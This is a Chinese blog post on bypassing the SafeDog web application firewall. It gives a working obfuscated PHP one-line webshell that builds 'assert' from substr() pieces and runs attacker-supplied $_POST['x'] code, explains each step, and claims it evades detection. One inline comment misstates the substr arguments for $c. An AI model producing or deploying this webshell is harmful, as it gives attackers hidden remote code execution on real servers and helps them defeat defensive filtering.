1 2 3 |
环境:php+mysql+apche 安全狗:apache版本+8.10规则库 |
在bypass小分队中V@1n3R表哥提到他明天会分享过waf的一句话
爱搞事的我当然不能只做伸手党,于是决定也分享一些出来,可是发现许久没有做渗透测试了
手里并没有过waf的一句话了,没办法只好临时刚几个出来
本次bypass需要用的一个函数:
1 |
substr() //用于返回字符串的一部分。 |
其实这个想法很早就有了,不过好像也有大佬有成品,不过我没看见过,于是今天晚上就试了一下
其实不管怎么绕过,一句话最终还是:
1 |
assert($_POST['x']); |
所谓的绕过无非就是把这一段进行处理让他达到一个过waf的效果
思路成品:
1 2 3 4 5 6 7 8 9 10 |
<?php $a = substr("abcdefghijklmnopqrstufwxyz",0,1); $b = substr("abcdefghijklmnopqrstufwxyz",17,3); $c = substr("abcdefghijklmnopqrstufwxyz",3,2); $ss = $a.$b.$c; $d = $ss[0].$ss[2].$ss[2]; //ass $dd = $ss[5].$ss[1].$ss[3]; //ert $x = $d.$dd; $x($_POST['x']); ?> |
这里主要关注这两行
1 2 3 |
$d = $ss[0].$ss[2].$ss[2]; //ass $dd = $ss[5].$ss[1].$ss[3]; //ert $x = $d.$dd; |
上面说了,一句话最终结果还是assert($_POST[‘x’]); 所以这里的$x肯定是assert,输出一下就知道。
如图:
可以看见echo 出来了assert,那么他是如何得到assert的呢,我们来看一下
1 |
$x = $d.$dd; |
可以发现,$x通过$d跟$dd拼接得到的$d跟$dd是通过截取$ss的字符串得到的,我们分别来输出一下每一个变量获取到的字符串。
1 2 3 4 |
$a = a //从字符串的第0个字符开始截取,向右截取1个字符 $b = rst //从字符串的第17个字符开始截取,向右截取3个字符 $c = de //从字符串的第17个字符开始截取,向右截取3个字符 $ss = arstde //为三个变量的拼接的来 |
可发现那么整个过程就好理解了.
1 2 3 |
$d = ass //分别截取$ss的第0,2,2字符 $dd = ert //分别截取$ss的第5,1,3字符 最后拼接成assert |
看一下是否能过狗.
完美过狗,并没有拦截。
感谢即刻安全的投稿。
@原文地址:http://www.inksec.cn/2017/09/07/bypass_shell/
本文由 安全周 作者:SecJack 发表,转载请注明来源!
您必须[登录] 才能发表留言!